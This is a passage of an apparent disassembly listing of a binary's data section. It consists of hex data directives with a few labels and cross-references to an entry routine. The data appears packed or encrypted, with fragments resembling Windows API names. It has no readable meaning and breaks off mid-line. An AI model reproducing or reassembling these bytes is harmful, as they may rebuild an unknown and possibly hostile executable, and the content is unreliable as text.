60C07CC8h, 5778EBF1h, 45F1C28h dd 5AF08EC6h, 0AC0B1B6Bh, 4C330E8Bh, 9899DAB7h, 213976D0h dd 51A6C8B5h, 24CFB833h, 0A2893E89h, 4420FCBBh, 527DB884h dd 84AF6425h, 477E97D6h, 0C208C683h, 5ECF72F0h, 0CC0400A7h dd 5F78D81Dh, 0D574C4C7h, 0AE075328h, 0D1350CBFh, 280F474Ch dd 666A9F11h, 138B67E8h, 25FF2C11h, 91054808h, 4C8C8E7h dd 0F410F800h, 919AC16Ch, 0CCECF0h, 0EC27E819h, 0DCE08C8Ch dd 0F33D5100h, 767D1BF6h, 7208F58Dh, 87E98114h, 162D662Dh dd 85EC7F6Fh, 0EC731701h, 0C48BC82Bh, 8BE18B0Ch, 0B748C8F1h dd 0C33140C1h, 8C88804Fh, 8CC8869Fh, 60B8E999h, 0C96F6029h dd 3A1D77C9h, 88C813h, 0F4F7284Ah, 19930520h, 7E1680E1h dd 0D03DCC39h, 271B34F7h, 6F5085A8h, 0DF1B4820h, 0D97972Eh dd 2C32132Bh, 2A7410DCh, 4BCB3580h, 6C1C2F7Ch, 0CB203A27h dd 142FD6E5h, 30585811h, 0AC765CDAh, 132B805Fh, 0E8112898h dd 578C2089h, 9F7202A6h, 0E6B5BFE5h, 6D029709h, 70636D65h dd 65739979h, 97FCB3B9h, 7302BE74h, 656C7274h, 0C302C56Eh dd 6BCFDD3Bh, 1D616309h, 0D3A631BAh, 3F7FB76Ch, 5940333Fh dd 2505841h, 0F0F5A40h, 0F837FD32h, 0F490E3Ah, 7865AACAh dd 74706563h, 6EDD685Fh, 725243D1h, 43023DC1h, 0ADB3696Fh dd 491BB2FDh, 7878435Fh, 48758546h, 0DEA3781Dh, 4513AF0Ah dd 6C825F48h, 0BD42676Fh, 0D0310B41h, 7B545243h, 3DB67D9Ch dd 14E4957h, 38F0C45h dword_4439A4 dd 0B6418A6Ch ; DATA XREF: start:loc_44A055o db 0E0h, 0DEh, 33h byte_4439AB db 79h ; DATA XREF: sub_44A577+3o dd 240BAA0Bh, 76A83743h, 0BDBFB542h, 54600D60h, 7474DEDBh dd 6FD35265h, 0B7BA8105h, 37FFDB6h, 0E697257h, 73966250h db 73h dword_4439D5 dd 9B721B4Dh ; DATA XREF: start+5Br db 0FBh, 0D7h, 0EEh dd 470189C7h db 0F6h dword_4439E1 dd 64644113h ; DATA XREF: start+97w dword_4439E5 dd 67111772h ; DATA XREF: start+ABw db 2Eh, 0D8h, 0A5h dd 6C75213Ah, 0D8095F4Fh, 356FFDAh, 74726956h, 416C6175h dd 84452A84h, 751CC10Ah, 4C310261h, 0EA9BB535h, 695433FFh dd 6F436B63h, 2074E75h, 86B60649h, 2BD5AEEDh, 2E64656Bh dd 97670363h, 0C04AEB57h, 50754D41h, 930F6555h, 0A1364DEAh dd 0DAD1452Fh, 5961FDFEh, 6C5F0388h, 0F500DB63h, 461D5302h dd 0A56DBC80h, 0D6D6710h, 9E47014Fh, 8BDD70E0h, 0B8F6F25h dd 0D5797021h, 0A66BF6B6h, 0F795323h, 1EBE44EBh db 0ECh, 0E6h dword_443A76 dd 16F10C5Ah ; DATA XREF: start:loc_44A4DBr dw 273h dd 4E32335Bh, 26B2BB6h, 497530D7h, 0E6C8718Ch, 6525CB68h dd 0DF68AD06h, 6F70AA96h, 1870B0A3h, 70616E53h, 46DD6B61h dd 0D51B6F28h, 1E627F43h, 82DB784Bh, 6D654144h, 0BB4645DBh dd 4EA57C33h, 32915EAh, 37140B53h, 0EC16D8h, 6E1A2FDAh dd 0F92FD230h, 0D5AACD86h, 0C85AC3ACh, 4CF2DAD6h, 11A04561h dd 66F74685h, 76453B9Dh, 0F4A1FAEh, 0C2B46064h, 7F7AAEh dd 49FB6544h, 671E886Fh, 4C76D6D5h, 1F31E500h, 80007965h dd 2ED56137h, 5DC88702h, 13868D96h, 6592453Ch, 4466123h dd 68D80160h, 426C2553h, 0F8D4CF75h, 4902A900h, 2DEB721Ch dd 0AD6C735Bh, 430A7043h, 53C2694Ch, 7386C9BDh, 765F3D21h dd 4B08C288h, 9F79D528h, 0F436BBF1h, 0FF501C68h, 45007D18h dd 0F6532EDBh, 69694508h, 9F685C64h, 428DB76Ah, 146C2767h dd 0CA267942h db 6Eh, 0CEh dword_443B72 dd 284F55D1h ; DATA XREF: start+B1r dw 6927h dd 330787Ah, 9B556309h, 6AB00F45h, 0F8DFE9h, 3C52454Bh dd 5D0BC74Ch, 2D870A9h, 6682635Dh, 0C2187B71h, 0FC80258Ch dd 0E9C371D6h, 65061789h, 64D07267h, 3B36ED25h, 0E3007Ch dd 553F0CAFh, 76B65A53h, 1C5761E1h, 756AF900h, 0B06BB3EEh dd 149C009Dh, 17D73B7h, 0ADC936C3h, 7075126Fh, 0A7759656h dd 6901621Eh, 343D01A8h, 16F0528Bh, 0C620D48Eh, 0F8A9654Bh dd 4336440Dh, 9A3034CCh, 0D6D8CC1Fh, 20EC3BDFh, 56444112h dd 4B83496Fh, 25617942h, 27556F43h, 67856C11h, 47300F66h dd 390F5475h, 0D6036B0Dh, 916F1F49h, 5160AE3Ch, 0FFCE0084h dd 3F50DFD6h, 60335C33h, 3A336C33h, 3380337Ch, 0FF90338Ch dd 33FF06FFh, 33B933AFh, 1BEB33C4h, 22340934h, 53343134h dd 79345A34h, 0FF348434h, 0A8FFFFFFh, 0CC34BB34h, 634F634h dd 31352B35h, 4E353B35h, 7D355D35h, 8E358835h, 9D359335h dd 0FF35A735h, 0B4FFFFFFh, 0EA35D335h, 1035F535h, 40363536h dd 5B364836h, 66366136h, 90367736h, 0AB369736h, 0FF36B236h dd 0C2FFFFFFh, 0E636D136h, 18370436h, 2A372337h, 53373937h dd 6F376837h, 0F237C237h, 6937F937h, 5638B738h, 0CCFFFFFFh dd 0EB38DE38h, 2938FF38h, 5C395039h, 94398039h, 0A5399A39h dd 0A539B839h, 0FFFFFFFFh, 39CB39C5h, 39D839D2h, 39E539E0h dd 3A0D39F8h, 3A4F3A48h, 3A923A84h, 3AE43AA5h, 0FF3F3AEDh dd 3BF16FFFh, 0E273C12h, 3F3C383Ch, 0A33C5E3Ch, 0BE3CB13Ch dd 43CF23Ch, 0FF3DC73Dh, 0E5FFFFFFh, 133DF53Dh, 343E183Eh dd 793E3A3Eh, 983E7F3Eh, 503EE93Eh, 643F573Fh, 7B3F6B3Fh dd 3F3F863Fh, 98FFC34Ah, 0D13FCB3Fh, 0F13FEC3Fh, 73200F3Fh dd 0FFFE302Ah, 31B0FFFFh, 330A31B5h, 332A3320h, 33B03337h dd 355333B5h, 36153566h, 3633362Ch, 3657364Ah, 0FFFFFFDCh dd 36ECC3EFh, 37B43758h, 37F437C8h, 383637FAh, 38473840h dd 38873859h, 38A03899h, 0BFFF38A6h, 38ACFFFBh, 38B838B2h dd 38C438BEh, 0D1D838D2h, 39283922h, 393D392Eh, 39683951h dd 40043984h, 3990E358h, 9200F0ACh, 0FF8A1281h, 0FF65F7D0h dd 0D00F75ABh, 0BE6E3149h, 1ABF031Ah, 37DD0715h, 4D687CDFh dd 37361AADh, 3F1AB44Dh, 1AB868F6h, 4F522730h, 69E71464h dd 5076863h, 0B535F700h, 727CE4B9h, 31400140h, 2EB079Fh dd 97139ABEh, 0D2C31A0h, 0E9D8C80Bh, 403F601h, 7BC51927h dd 0CA3BA0F2h, 0DB0725FEh, 7C538A31h, 34603A30h, 0CEC2689Fh dd 0E00492BDh, 304F2338h, 0BC28A703h, 831CC840h, 2A7676A9h dd 295407A3h, 0A207602Bh, 7628C2Dh, 642B3B92h, 7461525Eh dd 80FBE761h, 46435307h, 0D8C80731h, 58DD65B2h, 2307AF54h dd 0B34F072Ch, 0E21D0A8Dh, 0D19F2Eh, 98A323EBh, 780F37Dh dd 60E13B57h, 2B27F14h, 0ED07C003h, 7F314651h, 0EB0332E2h dd 0ACB36CEh, 32F61833h db 13h dword_443EA1 dd 3AA0BC0h ; DATA XREF: start+4EAw db 0A6h, 69h, 9Ah dd 60DE94A6h, 0B2C8384Ah, 10FA9AEBh, 7A8B267Fh, 34D34433h dd 3BC6375Dh, 7E9603B2h, 34D3656Ah, 2E3E5E4Dh, 9A31FE16h dd 0E69A69A6h, 8CA6B8D0h, 9630E374h, 93315C6Dh, 0DF27025Bh dd 4AA40414h, 83535126h, 722EFFC9h, 0C1F954BFh, 20BB5051h dd 0EAB75F20h, 0C5FC821Fh, 7D8B2856h, 88B9C5FCh, 778297D4h dd 0F3C0332Eh, 358B5DABh, 0B73D0328h, 88A06E89h, 0E88845E4h dd 6C8C1405h, 0E08EE93h, 0D8D41DE4h, 872321C8h, 78DCD4D8h dd 0E0C87632h, 5DC0EE0h, 0EF92E4ECh, 0AD6E123h, 0B9FFF4FCh dd 0C0839EC1h, 0AC04133Ch, 33FC4EA6h, 0B78239F6h, 0F875F772h dd 68144875h, 382205FCh, 0CCD6646Ah, 0C4C83DF7h, 13221B22h dd 333BEF18h, 1C1634D9h, 0FF147414h, 500F3870h, 1682BAFBh dd 1009FC8Bh, 0A214EAh, 0E0CCBE7Ch, 0E14BF8D8h, 0CC86192Eh dd 0F105F7Dh, 1CA8EB7h, 70AC763Fh, 8D282A21h, 3B07F1BEh dd 0C81274C7h, 8BFFEEF6h, 88B0450h, 890A8950h, 441B0451h dd 1DE8EB5Eh, 3D8FB7D4h, 588D3F72h, 3D831FC4h, 4192C60h dd 5B6F4175h, 4E8D0CF1h, 0B02BA3Ch, 0CD404688h, 0A1DB0FD8h dd 0C91AD24Ch, 1D40568Ah, 23D9EBA0h, 4ABBB640h, 0EE76FFDCh dd 0B67E10E1h, 8D2E3407h, 354F4786h, 528FB10Ch, 0DC560114h dd 141AFF03h, 0D10E87A9h, 85F88B2Eh, 55B41FFFh, 8A973F3h dd 186783h, 11C47C7h, 73750DE1h, 6240600h, 8D0E460Dh, 4F8FB28Eh dd 4789FBC7h, 9E258A20h, 0F7768688h, 1A67F6B7h, 8904438Bh dd 38041F1Fh, 8A047B89h, 0DB361896h, 0AC97B367h, 0D0157505h dd 8E760040h, 47585EECh, 0C4B6FF4Dh, 7607EB0Bh, 1B1C3658h dd 8550A536h, 0E1803D07h, 9B3C2F34h, 636951CDh, 7194F8Bh dd 66C60189h, 4889DEC9h, 0C260735Ah, 6E7B645Eh, 0B2ABC7C0h dd 0B008B6C4h, 0CDDD3399h, 5AD0BD02h, 0B6579D83h, 0F21D8BB8h dd 2B0AB84Dh, 2AC38011h, 2B5906FBh, 0D31EC01Bh, 0D0DF0BB9h dd 8E5D8D30h, 247C83CCh, 0E10FD308h, 99012DFEh, 8B470Ch dd 0A06B08A3h, 0B1B6C058h, 96CCC9C2h, 60170DD7h, 0BFB89A4Bh dd 0EDB79BBh, 5E8B7FE0h, 0E3B8060h, 4B8B4475h, 0C2538BF8h dd 0F0176D4Dh, 0C0BF0B7h, 0F981FF33h, 0F445D9E0h, 9BD2C410h dd 4174F8EDh, 3974E40Dh, 52FB5D8Dh, 4DBB75FBh, 7751509Ah dd 9643E50h, 4B0DBF51h, 0D2EA97E0h, 89D2322Fh, 4689187Eh dd 768B301Ch, 8BC4C225h, 0D9F044C7h, 51CD16F0h, 4C6030FFh dd 0EDCA7454h, 6B9F2D23h, 58F685F0h, 46C60CDBh, 0BF63DB64h dd 6846DDFBh, 44B3B89h, 153C850Fh, 0F0DF983h, 0F41E3382h dd 1A37DB37h, 0CC255D8h, 2210CA3Bh, 16F87D81h, 9F7FC1EAh dd 46C70975h, 6673C618h, 0D85C23F6h, 8D1A8BE3h, 1C4E719Fh dd 50C488Dh, 0F6DBE106h, 0D7408B20h, 892455CBh, 874AEC5Dh dd 46BFB16Fh, 878D928Fh, 6F42BE4h, 0C6783189h, 7089C2C8h dd 13CB9756h, 42005D8Bh, 430F585Bh, 0BAC6481Dh, 0CD20CD2Ch dd 7746B746h, 0D52B6857h, 0F7B910F9h, 6185C1DBh, 3135170Bh dd 0AC0C1DF4h, 8A0D0B2Ah, 3BE4B574h, 0B5A1286Eh, 4189DB80h dd 49F0459Ch, 61704444h, 0E689E086h, 76704EA6h, 6F1B272h dd 569BEC97h, 88609F2Ch, 0CB73C5F5h, 0EE437389h, 0C68762CDh dd 26572278h, 8BE0861h, 0C5DF169Fh, 0BDDB6205h, 1CBB1424h dd 0DE778BC8h, 9399CC3Eh, 0CF17DCDh, 10020C39h, 0B3E1D3B8h dd 5751CEBh, 0A3030BE8h, 0E04AEB30h, 0D866CF6Ch, 0D12DD56h dd 56CCC941h, 0AF492043h, 25163C6Bh, 5D410052h, 490D5203h dd 732F9Ah, 57005F1Bh, 24C15B4Eh, 0D1102405h, 1BA2DC08h dd 8D7A5070h, 538A305Eh, 0BBA14566h, 0AFC45h, 0F33BFA05h dd 0B90BB5D9h, 121C0972h, 0EF20CF0h, 64F3E6CDh, 18E87EF4h dd 8EEC1AEAh, 8B5EC6FFh, 0C084D7F8h, 45AB2175h, 0F82140Ch dd 7E85927h, 23350332h, 363B236Ch, 418A564Ch, 3F6EA48h dd 11BB5B91h, 3F0B02C2h, 0E4880C06h, 10E7C8F3h, 0D8140E1Ah dd 1C0BC018h, 0F9F9F9E4h, 103E2079h, 28137C24h, 9A2C0CC8h dd 85AE1C0Dh, 2847663h, 85CC3A5Dh, 0DDFD0A66h, 0D62C144Ah dd 641BADEEh, 20038B1Eh, 0E68A17Ch, 0FE420789h, 4D8F9F4h dd 89047808h, 0C606EB3Dh, 1B03E42h, 9142A75Bh, 0C77F2Eh dd 5D8E832Fh, 18069C6Bh, 2259344Bh, 6BDED942h, 31C2C0Bh dd 389F1863h, 0EB3A9BB4h, 0B58FDE02h, 0F709BE56h, 0DF58878Ch dd 5CA24CCEh, 9BDBB60Ch, 4EB89331h, 7D834B58h, 0FF21610Ch dd 83D2C190h, 9D753E78h, 1EEBCE2Eh, 7E1840C7h, 3A7B115h dd 35201556h, 78E0D22Fh, 40592A5Eh, 78100218h, 527EF7CCh dd 8A1850ABh, 0A06D6015h, 22F62EB2h, 5672854Ah, 0C68C5873h dd 0A274EB53h, 0ECEB36B2h, 0DD1CC631h, 5E75DE56h, 0C86C0628h dd 0CAA37DEh, 72582834h, 0E223C36Bh, 4E57F85Dh, 0B51183E0h dd 728F68C0h, 2E79D2FCh, 0B7E9FBC5h, 7B548FE4h, 0B86005EBh dd 64568D72h, 7F740C55h, 7F89BFDBh, 80F0EB36h, 3700647Eh dd 8B53684Eh, 418B6051h, 52305A6Ah, 810CE91Bh, 708AFFBh dd 0C0A90DAEh, 0D8CFA285h, 0B22C0375h, 66A5F4ADh, 18B81058h dd 0B08428Bh, 3495C807h, 0A95B7348h, 0EC1830FCh, 1029EB1Eh dd 7DCDD08Ah, 0AB5C0461h, 0BBD402E0h, 9774CFEh, 2CF8190Fh dd 0E3533F5Fh, 480F2C41h, 0DB85D8FCh, 0DFFFFCAEh, 2955F1D5h dd 8FA8110h, 75400100h, 0E718D47h, 0A5247B8Dh, 288BA566h dd 15AD5B10h, 765C3007h, 0DE90542Bh, 638369F3h, 0DB3019C4h dd 0CEB1DAEh, 0F612201Ah, 0DD6EDC1h, 66040966h, 20A11407h dd 95DD0B29h, 36EBED9Eh, 0D618094Eh, 0AB66AB4Dh, 0F3352BDBh dd 0F63E2A07h, 0D80B1F42h, 143056CEh, 93ED0C27h, 947CDB1Ah dd 51140A11h, 0DC38BC52h, 0E0DBC3DDh, 10AF930Ch, 14708D3Dh dd 8070296h, 67D9D333h, 87DE8D59h, 8B212A1Ch, 0B2055590h dd 57B216Fh, 5850D771h, 0DB2022EBh, 0F06D03Fh, 528B921Bh dd 0F1218330h, 7E164C50h, 37694CB8h, 4513C50h, 2325833Ch dd 9980F852h, 23183A00h, 0ECACAF4Fh, 0F18BD33Ch, 9F1DCF0Bh dd 3BB90510h, 0F09688F9h, 3B60A5FCh, 80C73294h, 0C4788D52h dd 5F0E7D3Bh, 407CA2h, 478B4097h, 0E869FC3Ch, 8708499h dd 0A8576CD3h, 0E7035A1Dh, 8FE31CFEh, 0D77241D8h, 0D72A528Ah dd 8C3118EBh, 0F246170h, 770C3D20h, 2F09DF24h, 3FF4BE0Ch dd 0E33748A7h, 4AF4BEEFh, 0F77D89CFh, 5B3ADCB8h, 0F8B6B6FBh dd 0E7B40118h, 0E141F6FCh, 0FBBB9AD7h, 0F3A6B674h, 1BEDB376h dd 9A3A1948h, 0E2447F83h, 3661D051h, 0D3C11663h, 0B2311644h dd 0E552D195h, 28F60D8Bh, 0D3E3A2BAh, 76A71E56h, 2254AA60h dd 61A374E0h, 0A9F97FFFh, 8B3A6253h, 118BC14Dh, 674D285h dd 108BC28Bh, 0E083F6EBh, 7BAE16C6h, 0A853B4F4h, 2F8EEB0Ah dd 4B2D58EEh, 20830CA6h, 7682801Ah, 0CF132974h, 845114A0h dd 0C39005EAh, 4D425638h, 0EF143F96h, 0BF76BEFh, 0D08699FFh dd 460A06BAh, 637C5060h, 8CBB07BCh, 0BAA83986h, 34F4B3D3h dd 670C10E3h, 3CA22464h, 2321A792h, 313F077h, 0DC5BF86Ch dd 0D6A5C7Bh, 755A03FFh, 4BA58B19h, 0A17C112Ch, 7744A750h dd 0E519722Dh, 67B6FB5Bh, 2A4B0306h, 18591CEBh, 488B0A73h dd 0F82376CFh, 731477CEh, 13EB4F05h, 2D08401Dh, 66B41AD0h dd 0A9EB232Ch, 0D5EADC1Bh, 148B2C0Bh, 0F67B3602h, 0BA6739C1h dd 108FC16Bh dd 13DC1084h, 36DCD85Fh, 18A508B3h, 27F7620h, 2DF8207Dh dd 14045F2Dh, 34F46583h, 76FFFE62h, 40DBBF0Dh, 184D6889h dd 0C33DD950h, 731C7D39h, 1BE86097h, 452BC7EBh, 4BA2B11Ch dd 21FD3AB0h, 73FF4043h, 67DF7C38h, 46EC9EC5h, 40538A24h dd 80F89927h, 800A0D7Fh, 2BBA528Bh, 0B2C9F475h, 4C4F7815h dd 0EC343BC2h, 36360580h, 66342640h, 7565D81Dh, 5EB35E24h dd 41BA68EBh, 6846A16Bh, 0C137C985h, 51D855C0h, 79834FEEh dd 0E1A949F1h, 25746152h, 89540849h, 0CB6359B2h, 14E2E7C5h dd 0DA850B78h, 8014F80Fh, 781A1C60h, 2155364Ch, 2E0A5F6h dd 0E182A5F3h, 1DA4F303h, 0F600D270h, 7C8D0442h, 73D1A10h dd 34FC07DBh, 608318B3h, 8CE4D48h, 631B6944h, 83882517h dd 8B1055CFh, 1FBBB925h, 73838DF0h, 89113C4Ah, 0D4054042h dd 691B133Eh, 0C1A00B3Ch, 30872D08h, 2E93AFB6h, 77F424CEh dd 9A23AEF4h, 83C1C099h, 4C08448Dh, 4306085Eh, 7526291Fh dd 20D83670h, 0EFE8F2D9h, 3874ECE8h, 48E96C3Eh, 0A27E5148h dd 6EE6DF1Ch, 535C73F4h, 44342E54h, 88DB482Ch, 8E44A955h dd 2770BF20h, 0F73B156Dh, 710CD0B3h, 743A3C39h, 0CC375BA4h dd 4160DFA6h, 0C34049D3h dword_444804 dd 0D83A46B2h ; DATA XREF: start+61r start+68w ... dword_444808 dd 2358BC4h ; DATA XREF: start+81w dword_44480C dd 0C8AAD6h ; DATA XREF: start+74r dd 0D79EC342h, 8CD308BAh db 6 dword_444819 dd 6B29D634h ; DATA XREF: start+89r db 37h, 4Ah, 3Fh dd 0F09C2C64h db 30h, 0EBh dword_444826 dd 1C16B805h ; DATA XREF: start+9Dr dw 2320h dd 1CE12CD0h, 716C8409h, 15348308h, 23889404h, 269C0CCFh dd 2CF6CA57h, 57090234h, 533F0C31h, 0E95AC1C1h, 14EB1B75h dd 0C0EC35DBh, 0BEACD98Bh, 0DA2B2075h, 1393A572h, 0A4D88357h dd 0DA12F8FBh, 522C1054h, 61022B74h, 0CDB4D9F1h, 3C75B02Dh dd 0B6596CB2h, 2303C6Dh, 0ED24282Ch, 8587B06Eh, 0E62C1074h dd 0DC622D2Ch, 511A05AAh, 823AD083h, 0FD099D6Fh, 0FAC28BFh dd 28024FB7h, 0FA469AF5h, 0E3DD728h, 0C64B6361h, 21BBF65Bh dd 0A028399Dh, 15B7095Ah, 8134080Eh, 0D6E66311h, 21F1DE5h dd 0B5CA830Ah, 0B58B9EEBh, 5960168Ah, 88E62015h, 11CCC43h dd 6D803BE0h, 7189C06Fh, 459890Bh, 1378C918h, 0CA4F61D8h dd 1B22C857h, 8B154870h, 5C137207h, 9436D8C4h, 2F03B04Bh dd 1BDB6CB2h, 1842A72Dh, 5A20056Ah dword_444914 dd 0EDADC47Eh ; DATA XREF: start+91r start+A5r dword_444918 dd 8B34883Bh ; DATA XREF: start+7Br dd 0C23B8104h, 23B35C7Eh, 0EE578DF4h, 0B740368h, 81E9BE53h dd 3C1BE756h, 1539E440h, 3E88FFDh, 8B250F85h, 6A8E2237h dd 6177A13Dh, 59A258h, 0B38B01A0h, 0DDECA8D4h, 58BEF8Dh dd 0FEBDC89h, 6A604324h, 7ED0211Ch, 0BEDAB01Bh, 0BF313990h dd 6A3766CEh, 16758A15h, 3BB9EC63h, 231DF033h, 7136EC6Eh dd 354D738Bh, 77096418h, 0DE7B574Dh, 58B65968h, 544C3005h dd 1B1830B4h, 0D6CB2E46h, 5C480C18h, 1950AE54h, 345979ECh dd 541A125Ch, 0AFFE1DB7h, 90E80DBBh, 4059D8Ch, 0C7445389h dd 0A31C4800h, 291A7D2Bh, 0BEC63B01h, 44DB0293h, 0C77018EAh dd 53067B43h, 10B7631Eh, 0A48EBA22h, 96F5C03Eh, 4CC6063Bh dd 840C3421h, 0B9A0E512h, 5D146130h, 0BB354884h, 3526D721h dd 29E80E2Ah, 0F758C907h, 78A6B259h, 916B570Ah, 0B58A8468h dd 0F7B1875h, 29DE006Eh, 1A6FD40Ah, 7A8D1B6Ah, 9F075910h dd 1858E02Ch, 0BFF3E14Dh, 2E1D7C06h, 105109C9h, 0A050984Eh dd 991A3700h, 323243B7h, 46326B86h, 4DCE0CFCh, 398CA64Dh dd 665BA360h, 0B6320AB4h, 0AD70D6Dh, 4A31AA64h, 77597A08h dd 0D1DED8FBh, 0E0CA664Ah, 324B14AAh, 42C08571h, 0C681181h dd 5FA8939Ch, 605C47ABh, 14B98F0Ch, 0D3CB428Eh, 530084F2h dd 843B1931h, 5CBB800Eh, 0EC278A60h, 90A46ECCh, 8D8066E2h dd 670A4E5Ch, 0C46E4145h, 0FA008897h, 25300C88h, 38EC8191h dd 2BC41D10h, 125725CCh, 0CD6807BFh, 3304B9AEh, 0E6C3BAFFh dd 0D89680D9h, 0FC04DCDAh, 3B3E6C9Eh, 0CA0CC812h, 0D010CC0Eh dd 0D9910B18h, 0D41AD27Ch, 9466F820h, 36DD028h, 2CE213E0h dd 0D5D40FD2h, 0A2531740h, 0A0083056h, 0C228656Dh, 995D8D57h dd 0A7365B61h, 0C80A1ED6h, 0B7580C81h, 0D011CB21h, 500C83Bh dd 0F6C8B7Dh, 11D83B18h, 788C3DB6h, 3FEE2284h, 0ECBA1F6Fh dd 2004B809h, 7F0C8DF8h, 0B419E7C1h, 48EEC42Dh, 44D521C4h dd 77F4DC07h, 56EFACE8h, 53BF773Ah, 8D458189h, 0D106DC60h dd 0F6E0B541h, 96DE8C00h, 4D5B17A0h, 7D318BE0h, 4581C128h dd 0AFAC99A0h, 0F4BBB9A2h, 0BAB60DFFh, 8DC2FF50h, 32B87373h dd 6A9A2E89h, 7A8DDF00h, 0B6E5B5F8h, 0DF86675h, 3040883h dd 96FB02ECh, 6F4D68Eh, 114279Dh, 0F0B41BE9h, 0B2176E6Dh dd 5E377B85h, 460014F0h, 0FF1E19B9h, 0FEEE150Ch, 0A093A00Ch dd 3889CABBh, 0C651E35Fh, 7BD41C31h, 6C6AE279h, 73718B8Ch dd 0FE00F4Dh, 2CD3591Bh, 63A239A3h, 0FBC321C3h, 130C1A1Eh dd 282B5AD1h, 8C140D71h, 26734182h, 0BA438364h, 0E017750Eh dd 8308A80Eh, 9C383597h, 904C0D5Bh, 9BD2F893h, 8128481Ah dd 0C401147Bh, 0B80775FCh, 0A6D834ACh, 4637EB2Ah, 0A445B957h dd 93C5278h, 5304C053h, 735A01BDh, 682F8740h, 68F14CD9h dd 9BBDFDC4h, 3B1D6A5Fh, 0BE4C8BBFh, 8193A354h, 7F061479h dd 1AE00A1h, 81208D6Dh, 7605DC38h, 6854D005h, 6001B1Bh dd 3C725E2Ch, 2FA39DDDh, 29665D14h, 19112830h, 9C9B584Ah dd 582106EAh, 640611BAh, 0E8187151h, 49700E0Eh, 2117F67h dd 589B7F08h, 57EE085h, 284A7427h, 0B952211Dh, 7A8D4D10h dd 687D49C8h, 468C0C76h, 39578414h, 2BAB7EA4h, 46895F18h dd 7C1E8B10h, 150FC0E0h, 0FAC38156h, 0B95E551Dh, 721FF87h dd 60C38356h, 9AB8ECEBh, 1995ED51h, 73D64B18h, 7E748253h dd 57DACCD5h, 0A577E434h, 0E830B89h, 0AA437632h, 7F478D47h dd 9036FF47h, 80CC0BECh, 891840F1h, 87838147h, 579E9707h dd 60579E7Ch, 0AC5A2DBDh, 0B43E8750h, 98057D68h, 6B3CA390h dd 81E0663Ch, 0C683F06Eh, 7579FF04h, 450C4993h, 2D3218BEh dd 1EF65810h, 712CD890h, 4650BE9Ch, 0D0480D8Bh, 0DFFBFEEh dd 0D08A147Dh, 0C83B09B8h, 7541588h, 0FF065574h, 0EF3E1A2Dh dd 98BC459h, 0F375DF3Bh, 944D1314h, 5379D61Bh, 9E976F9Bh dd 56F98C35h, 1E47754Ch, 103844F0h, 0E1584B54h, 57184503h dd 0C3C4DE1Ah, 0FDD7CA06h, 25340125h, 9710F750h, 18161CEBh dd 0D58C102Eh, 44928733h, 0B618D126h, 1483553Ah, 42F84008h dd 0A92F05A1h, 0D0EAB1CAh, 9CAB70BFh, 507C7589h, 0E4E8DF2h dd 58EE5589h, 0E6ED1B75h, 0A5A3D35h, 829505B8h, 0BA8083B0h dd 9C518C49h, 1C107B9h, 860F5581h, 0A09B0597h, 4E8F0483h dd 2A748EEAh, 607EC0E5h, 7480350Fh, 0CA061F1Ah, 0AA3162Ah dd 2A895327h, 2654F7C0h, 0E177C928h, 9E4A7461h, 1274F446h dd 58A9649Dh, 5847388Ch, 64B7E0F4h, 4F30F400h, 5598430Ch dd 0D0278DCAh, 0BA1F7827h, 0BCA23DD7h, 3104CA1h, 0A9422A7Ah dd 81E045C7h, 0DD08A840h, 8A5414B0h, 0DF8E76E5h, 0A33772D6h dd 0B9D3FF2Dh, 2E0E6A1Fh, 8F3447B4h, 41D60A23h, 0A256C51Eh dd 315921ADh, 57361087h, 1C6EB780h, 150F04BDh, 0D7374450h dd 9517F3Ah, 0D0B0FA0Ch, 8A99A266h, 0D54C5304h, 9037BE87h dd 0A46FC25Ah, 0C7B2FFD3h, 3AC10D10h, 521FEB34h, 0C1D95152h dd 387D6A78h, 3056D951h, 30EC908h, 345653BFh, 2251FA5h dd 8CB000E0h, 0D41C27E7h, 80E53AA1h, 3C2D6DBFh, 0F0B31EAh dd 0F3DC6887h, 71880C60h, 5F04D947h, 985A1039h, 8AE1A4Dh dd 8123FCD0h, 590C86D7h, 26F011FCh, 420C9C87h, 0FCFCF8E4h dd 2D812B3Bh, 0D28F5D3Ah, 0C61EE155h, 2C4B0C00h, 0C80CC9D8h dd 8080C81h, 0E59193DDh, 80F1463h, 88E408F8h, 8BF8F253h dd 0B38DF84Eh, 0E21D6803h, 855DB93h, 9BA68388h, 0F9A5E59h dd 842D42Ah, 9E084A89h, 11AF1C01h, 2B651471h, 926F19B8h dd 0C7F45E9h, 0D620D5C7h, 454CC803h, 10F2D2C2h, 38BAF3E0h dd 1E770C7Eh, 9F210394h, 0CB113108h, 17212162h, 2156D48Ah dd 39097EBEh, 0C9347C50h, 73C2D8F3h, 7F04DA2Dh, 1EBEC017h dd 0E1449C48h, 0D90D74CEh, 897B7091h, 74C2E36Fh, 3B67B893h dd 8740C20h, 77360F35h, 0EB8FECABh, 0A9658D8h, 0B299219Fh dd 41431F07h, 810E4112h, 0FE0F5C25h, 81F46D93h, 43037759h dd 97D75860h, 0C33490C1h, 0AF4476CCh, 3B21D9B0h, 0EC98AF6Dh dd 9A401AA3h, 75095C00h, 84683DECh, 0B75D4E15h, 161C90EDh dd 3B0A264Ah, 9A69362Eh, 0F29B08B1h, 6DF30CDEh, 2901C90Ch dd 0A7581B0Dh, 0DB933491h, 473DDBEFh, 0E944C298h, 308DF586h dd 69CF0E44h, 992A2D16h, 5314E30Ch, 0B8DDC075h, 60140773h dd 75727E80h, 2ED21A4Eh, 398756E8h, 7495D233h, 0CA0C7930h dd 0C048C4B1h, 6F4DB94Dh, 167AB7F7h, 58EC588Bh, 0FFE38110h dd 0B8C4C0Fh, 6F750806h, 7E0C9B1Bh, 4A47D103h, 0F56B1ED2h dd 147EE82Dh, 0C61689B9h, 0B85A9246h, 53B78FDh, 3EB1454h dd 4948C8DEh, 235C1976h, 1925A75h, 2A3A1058h, 366FB76Bh dd 754FFC8Ch, 796683EAh, 19866680h, 1B5024B6h, 3C17C252h dd 17C4B618h, 3956BA02h, 1871105Dh, 7D9F2BCBh, 83E34C1h dd 718B08CEh, 759CDF45h, 0D375615Dh, 5814D214h, 751C5938h dd 6DBB5B50h, 5D1D41C1h, 804CEF8h, 6A976FDFh, 1450F3CEh dd 0F8550148h, 5AD2D33Bh, 0C84E476Bh, 139418EBh, 0D4230CEAh dd 0B6EFA5A6h, 0EBB3FFFAh, 2139D3CAh, 0FDFA8F14h, 4056F61h dd 16D641C6h, 50646F6h, 5BEB0CDCh, 4A878AE7h, 56E48EF8h dd 0E6E5C060h, 14A86C5Ah, 89AAADE1h, 0DDB2AF00h, 8B2D6B77h dd 0A5F33B36h, 